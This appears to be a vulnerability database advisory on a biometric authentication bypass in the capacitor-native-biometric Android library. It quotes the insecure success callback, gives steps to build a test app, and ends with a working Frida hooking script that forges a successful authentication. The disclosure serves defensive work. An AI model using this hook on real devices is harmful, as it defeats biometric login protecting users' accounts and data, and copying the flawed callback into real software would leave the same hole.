
Cloud Vulnerability DB
A community-led vulnerabilities database
The cap-go/capacitor-native-biometric library was found to be subject to an authentication bypass as the current implementation of the onAuthenticationSucceeded() does not appear to handle a CryptoObjectHackTricks1 SecuringBiometricAuthentication as seen in the following code block starting from line 88 in AuthActivity.java:
@Override
public void onAuthenticationSucceeded(
@NonNull BiometricPrompt.AuthenticationResult result
) {
super.onAuthenticationSucceeded(result);
finishActivity("success");
}As the current implementation only checks whether onAuthenticationSucceeded() was called and does not handle a CryptoObject the biometric authentication can be bypassed by hooking the onAuthenticationSucceeded() function.
https://github.com/user-attachments/assets/b7b5a2bc-21dc-4373-b371-84b002dae7a7
The following steps were taken to create and deploy a Capacitor application using the cap-go/capacitor-native-biometric library for the purpose of verifying this finding. Note at the time of writing the npx create-react-app command broke, so I have provided two ways of creating and deploying the testing environment. Apparently React updated to version 19 caused a dependency issue as seen here. If it is not fixed by the time you look at this PoC please use the yarn alternatives.
capgo-poc:npx create-react-app capgo-poc --template typescriptYarn Alternative:
npm install --global yarn
yarn create react-app capgo-poc --template typescriptcd capgo-poc
npm install @capacitor/core
npm install @capacitor/cli
npm install @capacitor/android
npm install @capgo/capacitor-native-biometric
npm install reactYarn Alternative:
cd capgo-poc
yarn add @capacitor/core
yarn add @capacitor/cli
yarn add @capacitor/android
yarn add @capgo/capacitor-native-biometric
yarn add reactcapgo-poc and com.capgo.poc, and add the android platform by running the following commands:npx cap init
npx cap add androidandroid/app/src/main/AndroidManifest.xml file and add the necessary permissions:<uses-permission android:name="android.permission.USE_BIOMETRIC" />
<uses-permission android:name="android.permission.USE_FINGERPRINT" />App.tsx in src/ and import the following code:import React, { useState } from 'react';
import { NativeBiometric } from '@capgo/capacitor-native-biometric';
const App = () => {
// State to hold authentication status
const [authStatus, setAuthStatus] = useState<string | null>(null);
// Function to authenticate the user
const authenticateUser = async () => {
try {
const result = await NativeBiometric.verifyIdentity({
reason: 'For an application access',
title: 'Log in',
subtitle: '',
description: 'Verify yourself by biometrics',
useFallback: true,
maxAttempts: 3,
}).then(() => true)
.catch(() => false);
if (!result) {
setAuthStatus('failed');
} else {
setAuthStatus('success');
}
} catch (error) {
console.error('Error during biometric verification:', error);
setAuthStatus('error');
}
};
return (
<div>
<h1>CAP-GO Capacitor Native Biometric Authentication</h1>
<button onClick={authenticateUser}>Authenticate with Biometrics</button>
{/* Conditionally render based on authentication status */}
{authStatus === 'success' && <h2>CAP-GO Capacitor Native Biometric Authentication Success</h2>}
{authStatus === 'failed' && <h2>CAP-GO Capacitor Native Biometric Authentication Failed</h2>}
{authStatus === 'error' && <h2>Error during authentication</h2>}
</div>
);
};
export default App;npm run build
npx cap sync android
npx cap open androidYarn alternative:
yarn build
npx cap sync android
npx cap open androidFor the purpose of demonstrating the vulnerability we will be using frida and a rooted emulator from android studio. Frida is a dynamic instrumentation toolkit used as part of pentesting mobile applications frida. Note that a rooted emulator is not necessary, but is being used for simplicity to demonstrate the vulnerability.
onAuthenticationSucceeded() function, abusing the null CryptoObject. This can be done by running the following command:frida -U -l <PAYLOAD> -n 'capgo-poc'Java.perform(function () {
hookBiometricPrompt();
});
function getBiometricAuthResult(resultObj, cryptoInst) {
var authenticationResultInst = resultObj.$new(cryptoInst, 0);
return authenticationResultInst;
};
function getBiometricPromptResult() {
var cryptoObj = Java.use('android.hardware.biometrics.BiometricPrompt$CryptoObject');
var cryptoInst = cryptoObj.$new(null);
var authenticationResultObj = Java.use('android.hardware.biometrics.BiometricPrompt$AuthenticationResult');
var authenticationResultInst = getBiometricAuthResult(authenticationResultObj, cryptoInst);
return authenticationResultInst
};
function hookBiometricPrompt() {
var biometricPrompt = Java.use('android.hardware.biometrics.BiometricPrompt')['authenticate'].overload('android.os.CancellationSignal', 'java.util.concurrent.Executor', 'android.hardware.biometrics.BiometricPrompt$AuthenticationCallback');
console.log("Hooking BiometricPrompt.authenticate()...");
biometricPrompt.implementation = function (cancellationSignal, executor, callback) {
var authenticationResultInst = getBiometricPromptResult();
callback.onAuthenticationSucceeded(authenticationResultInst);
}
};Source: NVD
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."